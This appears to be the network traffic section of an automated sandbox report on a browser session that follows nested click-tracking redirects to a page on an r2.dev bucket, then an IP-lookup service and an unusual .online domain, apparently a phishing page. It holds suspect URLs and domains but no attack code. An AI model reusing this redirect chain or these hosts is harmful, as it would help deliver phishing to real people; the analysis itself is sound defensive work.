Dec 17, 2024 22:25:24.507283926 CET	49766	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:24.507508993 CET	49766	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:24.507533073 CET	443	49766	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:25.013894081 CET	443	49763	104.21.112.1	192.168.2.16
Dec 17, 2024 22:25:25.022665977 CET	443	49764	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:25.065776110 CET	49763	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:25:25.066108942 CET	49764	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:25.097441912 CET	443	49765	172.67.164.87	192.168.2.16
Dec 17, 2024 22:25:25.145848036 CET	49765	443	192.168.2.16	172.67.164.87

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 22:23:19.760134935 CET	53	57490	1.1.1.1	192.168.2.16
Dec 17, 2024 22:23:19.788342953 CET	53	64565	1.1.1.1	192.168.2.16
Dec 17, 2024 22:23:20.543838024 CET	52771	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:23:20.547501087 CET	60783	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:23:20.685524940 CET	53	60783	1.1.1.1	192.168.2.16
Dec 17, 2024 22:23:20.771960020 CET	53	52771	1.1.1.1	192.168.2.16
Dec 17, 2024 22:23:22.669994116 CET	53	63910	1.1.1.1	192.168.2.16
Dec 17, 2024 22:23:24.386710882 CET	62663	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:23:24.386904001 CET	54659	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:23:24.523529053 CET	53	62663	1.1.1.1	192.168.2.16
Dec 17, 2024 22:23:24.523969889 CET	53	54659	1.1.1.1	192.168.2.16
Dec 17, 2024 22:23:27.770395041 CET	64815	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:23:27.770549059 CET	52836	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:23:28.011873960 CET	53	64815	1.1.1.1	192.168.2.16
Dec 17, 2024 22:23:28.012310028 CET	53	52836	1.1.1.1	192.168.2.16
Dec 17, 2024 22:23:39.441519022 CET	53	61388	1.1.1.1	192.168.2.16
Dec 17, 2024 22:23:58.134407997 CET	53	55693	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:19.734680891 CET	53	63167	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:21.040610075 CET	53	64956	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:25.943106890 CET	138	138	192.168.2.16	192.168.2.255
Dec 17, 2024 22:24:44.347276926 CET	52014	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:44.347428083 CET	55367	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:44.347707033 CET	56319	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:44.347840071 CET	62836	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:44.527295113 CET	53	56319	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:44.527343988 CET	53	61906	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:44.527654886 CET	53	62836	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:44.528464079 CET	53	52014	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:44.533639908 CET	53	55367	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:46.589921951 CET	56909	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:46.590106964 CET	54082	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:46.728194952 CET	53	56909	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:46.728352070 CET	53	54082	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:46.998116016 CET	50619	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:46.998291016 CET	62802	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:47.136634111 CET	53	62802	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:47.136651993 CET	53	50619	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:47.365874052 CET	64973	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:47.366064072 CET	58096	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:47.504538059 CET	53	64973	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:47.510508060 CET	53	58096	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:50.503240108 CET	50443	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:50.503493071 CET	57913	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:50.504158020 CET	51993	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:50.504364967 CET	55052	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:50.641081095 CET	53	57913	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:50.641092062 CET	53	50443	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:50.809226036 CET	53	51993	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:50.809429884 CET	53	55052	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:51.451714039 CET	53	65229	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:55.313462973 CET	63279	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:55.313524008 CET	55033	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:55.329705000 CET	50356	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:55.329787970 CET	54731	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:55.453720093 CET	53	55033	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:55.453912973 CET	53	63279	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:55.468121052 CET	53	50356	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:55.468132973 CET	53	54731	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:55.477682114 CET	53	61139	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:55.587097883 CET	53	64893	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:58.398864031 CET	53	54232	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:58.535634995 CET	64634	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:58.535764933 CET	58994	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:24:58.672497034 CET	53	58994	1.1.1.1	192.168.2.16
Dec 17, 2024 22:24:58.672514915 CET	53	64634	1.1.1.1	192.168.2.16
Dec 17, 2024 22:25:01.539355993 CET	55315	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:25:01.539505005 CET	62759	53	192.168.2.16	1.1.1.1
Dec 17, 2024 22:25:01.677059889 CET	53	62759	1.1.1.1	192.168.2.16
Dec 17, 2024 22:25:01.677103996 CET	53	55315	1.1.1.1	192.168.2.16
Dec 17, 2024 22:25:13.970526934 CET	53	62050	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 22:23:20.543838024 CET	192.168.2.16	1.1.1.1	0x1b7d	Standard query (0)	click.pstmrk.it	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:23:20.547501087 CET	192.168.2.16	1.1.1.1	0x9d83	Standard query (0)	click.pstmrk.it	65	IN (0x0001)	false
Dec 17, 2024 22:23:24.386710882 CET	192.168.2.16	1.1.1.1	0x30f4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:23:24.386904001 CET	192.168.2.16	1.1.1.1	0xa717	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 17, 2024 22:23:27.770395041 CET	192.168.2.16	1.1.1.1	0x27e5	Standard query (0)	pub-c51a5b71098c4a50b29ad0816d037292.r2.dev	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:23:27.770549059 CET	192.168.2.16	1.1.1.1	0x8133	Standard query (0)	pub-c51a5b71098c4a50b29ad0816d037292.r2.dev	65	IN (0x0001)	false
Dec 17, 2024 22:24:44.347276926 CET	192.168.2.16	1.1.1.1	0x48da	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:44.347428083 CET	192.168.2.16	1.1.1.1	0xff3	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 17, 2024 22:24:44.347707033 CET	192.168.2.16	1.1.1.1	0xdec6	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:44.347840071 CET	192.168.2.16	1.1.1.1	0x4151	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 17, 2024 22:24:46.589921951 CET	192.168.2.16	1.1.1.1	0x37dd	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:46.590106964 CET	192.168.2.16	1.1.1.1	0xc439	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 17, 2024 22:24:46.998116016 CET	192.168.2.16	1.1.1.1	0xc60b	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:46.998291016 CET	192.168.2.16	1.1.1.1	0x282c	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 17, 2024 22:24:47.365874052 CET	192.168.2.16	1.1.1.1	0xa271	Standard query (0)	freeipapi.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:47.366064072 CET	192.168.2.16	1.1.1.1	0x90be	Standard query (0)	freeipapi.com	65	IN (0x0001)	false
Dec 17, 2024 22:24:50.503240108 CET	192.168.2.16	1.1.1.1	0x3359	Standard query (0)	freeipapi.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:50.503493071 CET	192.168.2.16	1.1.1.1	0x6904	Standard query (0)	freeipapi.com	65	IN (0x0001)	false
Dec 17, 2024 22:24:50.504158020 CET	192.168.2.16	1.1.1.1	0xa185	Standard query (0)	glp6srokudo.tkllop.online	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:50.504364967 CET	192.168.2.16	1.1.1.1	0x18b6	Standard query (0)	glp6srokudo.tkllop.online	65	IN (0x0001)	false
Dec 17, 2024 22:24:55.313462973 CET	192.168.2.16	1.1.1.1	0xa8a5	Standard query (0)	glp6srokudo.tkllop.online	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:55.313524008 CET	192.168.2.16	1.1.1.1	0x4e91	Standard query (0)	glp6srokudo.tkllop.online	65	IN (0x0001)	false
Dec 17, 2024 22:24:55.329705000 CET	192.168.2.16	1.1.1.1	0xecf2	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:55.329787970 CET	192.168.2.16	1.1.1.1	0x9146	Standard query (0)	drive.google.com	65	IN (0x0001)	false
Dec 17, 2024 22:24:58.535634995 CET	192.168.2.16	1.1.1.1	0x3dcf	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:58.535764933 CET	192.168.2.16	1.1.1.1	0x70e5	Standard query (0)	google.com	65	IN (0x0001)	false
Dec 17, 2024 22:25:01.539355993 CET	192.168.2.16	1.1.1.1	0xca76	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:25:01.539505005 CET	192.168.2.16	1.1.1.1	0x82c9	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 22:23:20.771960020 CET	1.1.1.1	192.168.2.16	0x1b7d	No error (0)	click.pstmrk.it	3.251.43.2	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:23:20.771960020 CET	1.1.1.1	192.168.2.16	0x1b7d	No error (0)	click.pstmrk.it	34.248.225.107	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:23:20.771960020 CET	1.1.1.1	192.168.2.16	0x1b7d	No error (0)	click.pstmrk.it	52.48.72.69	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:23:24.523529053 CET	1.1.1.1	192.168.2.16	0x30f4	No error (0)	www.google.com	142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:23:24.523969889 CET	1.1.1.1	192.168.2.16	0xa717	No error (0)	www.google.com		65	IN (0x0001)	false
Dec 17, 2024 22:23:28.011873960 CET	1.1.1.1	192.168.2.16	0x27e5	No error (0)	pub-c51a5b71098c4a50b29ad0816d037292.r2.dev	162.159.140.237	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:23:28.011873960 CET	1.1.1.1	192.168.2.16	0x27e5	No error (0)	pub-c51a5b71098c4a50b29ad0816d037292.r2.dev	172.66.0.235	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:44.527295113 CET	1.1.1.1	192.168.2.16	0xdec6	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:44.527295113 CET	1.1.1.1	192.168.2.16	0xdec6	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:44.527654886 CET	1.1.1.1	192.168.2.16	0x4151	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Dec 17, 2024 22:24:44.528464079 CET	1.1.1.1	192.168.2.16	0x48da	No error (0)	code.jquery.com	151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:44.528464079 CET	1.1.1.1	192.168.2.16	0x48da	No error (0)	code.jquery.com	151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:44.528464079 CET	1.1.1.1	192.168.2.16	0x48da	No error (0)	code.jquery.com	151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:44.528464079 CET	1.1.1.1	192.168.2.16	0x48da	No error (0)	code.jquery.com	151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:46.728194952 CET	1.1.1.1	192.168.2.16	0x37dd	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:46.728194952 CET	1.1.1.1	192.168.2.16	0x37dd	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:46.728352070 CET	1.1.1.1	192.168.2.16	0xc439	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Dec 17, 2024 22:24:47.136651993 CET	1.1.1.1	192.168.2.16	0xc60b	No error (0)	code.jquery.com	151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:47.136651993 CET	1.1.1.1	192.168.2.16	0xc60b	No error (0)	code.jquery.com	151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:47.136651993 CET	1.1.1.1	192.168.2.16	0xc60b	No error (0)	code.jquery.com	151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:47.136651993 CET	1.1.1.1	192.168.2.16	0xc60b	No error (0)	code.jquery.com	151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:47.504538059 CET	1.1.1.1	192.168.2.16	0xa271	No error (0)	freeipapi.com	104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:47.504538059 CET	1.1.1.1	192.168.2.16	0xa271	No error (0)	freeipapi.com	104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:47.504538059 CET	1.1.1.1	192.168.2.16	0xa271	No error (0)	freeipapi.com	104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:47.504538059 CET	1.1.1.1	192.168.2.16	0xa271	No error (0)	freeipapi.com	104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:47.504538059 CET	1.1.1.1	192.168.2.16	0xa271	No error (0)	freeipapi.com	104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:47.504538059 CET	1.1.1.1	192.168.2.16	0xa271	No error (0)	freeipapi.com	104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:47.504538059 CET	1.1.1.1	192.168.2.16	0xa271	No error (0)	freeipapi.com	104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:47.510508060 CET	1.1.1.1	192.168.2.16	0x90be	No error (0)	freeipapi.com		65	IN (0x0001)	false
Dec 17, 2024 22:24:50.641081095 CET	1.1.1.1	192.168.2.16	0x6904	No error (0)	freeipapi.com		65	IN (0x0001)	false
Dec 17, 2024 22:24:50.641092062 CET	1.1.1.1	192.168.2.16	0x3359	No error (0)	freeipapi.com	104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:50.641092062 CET	1.1.1.1	192.168.2.16	0x3359	No error (0)	freeipapi.com	104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:50.641092062 CET	1.1.1.1	192.168.2.16	0x3359	No error (0)	freeipapi.com	104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:50.641092062 CET	1.1.1.1	192.168.2.16	0x3359	No error (0)	freeipapi.com	104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:50.641092062 CET	1.1.1.1	192.168.2.16	0x3359	No error (0)	freeipapi.com	104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:50.641092062 CET	1.1.1.1	192.168.2.16	0x3359	No error (0)	freeipapi.com	104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:50.641092062 CET	1.1.1.1	192.168.2.16	0x3359	No error (0)	freeipapi.com	104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:50.809226036 CET	1.1.1.1	192.168.2.16	0xa185	No error (0)	glp6srokudo.tkllop.online	104.21.57.143	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:50.809226036 CET	1.1.1.1	192.168.2.16	0xa185	No error (0)	glp6srokudo.tkllop.online	172.67.164.87	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:50.809429884 CET	1.1.1.1	192.168.2.16	0x18b6	No error (0)	glp6srokudo.tkllop.online		65	IN (0x0001)	false
Dec 17, 2024 22:24:55.453720093 CET	1.1.1.1	192.168.2.16	0x4e91	No error (0)	glp6srokudo.tkllop.online		65	IN (0x0001)	false
Dec 17, 2024 22:24:55.453912973 CET	1.1.1.1	192.168.2.16	0xa8a5	No error (0)	glp6srokudo.tkllop.online	172.67.164.87	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:55.453912973 CET	1.1.1.1	192.168.2.16	0xa8a5	No error (0)	glp6srokudo.tkllop.online	104.21.57.143	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:55.468121052 CET	1.1.1.1	192.168.2.16	0xecf2	No error (0)	drive.google.com	172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:24:58.672497034 CET	1.1.1.1	192.168.2.16	0x70e5	No error (0)	google.com		65	IN (0x0001)	false
Dec 17, 2024 22:24:58.672514915 CET	1.1.1.1	192.168.2.16	0x3dcf	No error (0)	google.com	142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 17, 2024 22:25:01.677059889 CET	1.1.1.1	192.168.2.16	0x82c9	No error (0)	www.google.com		65	IN (0x0001)	false
Dec 17, 2024 22:25:01.677103996 CET	1.1.1.1	192.168.2.16	0xca76	No error (0)	www.google.com	142.250.181.132	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

click.pstmrk.it

pub-c51a5b71098c4a50b29ad0816d037292.r2.dev

https:

cdnjs.cloudflare.com

code.jquery.com

freeipapi.com

glp6srokudo.tkllop.online

drive.google.com

www.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49708	3.251.43.2	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:23:22 UTC	1136	OUT	GET /3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2525252Findex.html%25252F1FPh%25252FkO25AQ%25252FAQ%25252F3e065842-509e-4fd5-abbb-5283a8ac4086%25252F1%25252FRkloQ4shWG%252F1FPh%252Fk_25AQ%252FAQ%252Fdde43c95-583c-418a-adc0-08f493a126f6%252F1%252FJb7OErMoyM%2F1FPh%2Fk_25AQ%2FAQ%2Fb4b83026-0c0f-44d4-9e59-6245afb2c831%2F1%2F0MDiG0XvGK/1FPh/le25AQ/AQ/97716a3f-8a20-4219-bc1f-a50876348ddc/1/HkaU6VJ0d2 HTTP/1.1 Host: click.pstmrk.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:23:23 UTC	537	IN	HTTP/1.1 302 Found Server: awselb/2.0 Date: Tue, 17 Dec 2024 21:23:23 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close Location: https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%25252Findex.html%252F1FPh%252FkO25AQ%252FAQ%252F3e065842-509e-4fd5-abbb-5283a8ac4086%252F1%252FRkloQ4shWG%2F1FPh%2Fk_25AQ%2FAQ%2Fdde43c95-583c-418a-adc0-08f493a126f6%2F1%2FJb7OErMoyM/1FPh/k_25AQ/AQ/b4b83026-0c0f-44d4-9e59-6245afb2c831/1/0MDiG0XvGK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49709	3.251.43.2	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:23:23 UTC	1002	OUT	GET /3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%25252Findex.html%252F1FPh%252FkO25AQ%252FAQ%252F3e065842-509e-4fd5-abbb-5283a8ac4086%252F1%252FRkloQ4shWG%2F1FPh%2Fk_25AQ%2FAQ%2Fdde43c95-583c-418a-adc0-08f493a126f6%2F1%2FJb7OErMoyM/1FPh/k_25AQ/AQ/b4b83026-0c0f-44d4-9e59-6245afb2c831/1/0MDiG0XvGK HTTP/1.1 Host: click.pstmrk.it Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:23:23 UTC	419	IN	HTTP/1.1 302 Found Server: awselb/2.0 Date: Tue, 17 Dec 2024 21:23:23 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close Location: https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%252Findex.html%2F1FPh%2FkO25AQ%2FAQ%2F3e065842-509e-4fd5-abbb-5283a8ac4086%2F1%2FRkloQ4shWG/1FPh/k_25AQ/AQ/dde43c95-583c-418a-adc0-08f493a126f6/1/Jb7OErMoyM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49712	3.251.43.2	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:23:25 UTC	884	OUT	GET /3s/click.pstmrk.it%2F3s%2Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%252Findex.html%2F1FPh%2FkO25AQ%2FAQ%2F3e065842-509e-4fd5-abbb-5283a8ac4086%2F1%2FRkloQ4shWG/1FPh/k_25AQ/AQ/dde43c95-583c-418a-adc0-08f493a126f6/1/Jb7OErMoyM HTTP/1.1 Host: click.pstmrk.it Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:23:25 UTC	317	IN	HTTP/1.1 302 Found Server: awselb/2.0 Date: Tue, 17 Dec 2024 21:23:25 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close Location: https://click.pstmrk.it/3s/pub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2Findex.html/1FPh/kO25AQ/AQ/3e065842-509e-4fd5-abbb-5283a8ac4086/1/RkloQ4shWG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49715	3.251.43.2	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:23:27 UTC	782	OUT	GET /3s/pub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2Findex.html/1FPh/kO25AQ/AQ/3e065842-509e-4fd5-abbb-5283a8ac4086/1/RkloQ4shWG HTTP/1.1 Host: click.pstmrk.it Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:23:27 UTC	231	IN	HTTP/1.1 302 Found Server: awselb/2.0 Date: Tue, 17 Dec 2024 21:23:27 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close Location: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/index.html

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49717	162.159.140.237	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:23:29 UTC	696	OUT	GET /index.html HTTP/1.1 Host: pub-c51a5b71098c4a50b29ad0816d037292.r2.dev Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:23:29 UTC	259	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:23:29 GMT Content-Length: 448688 Connection: close Accept-Ranges: bytes ETag: "dee21efccbd4d7696482a2dbb3f7124c" Last-Modified: Tue, 10 Dec 2024 10:06:12 GMT Server: cloudflare CF-RAY: 8f39f97d89efc33e-EWR
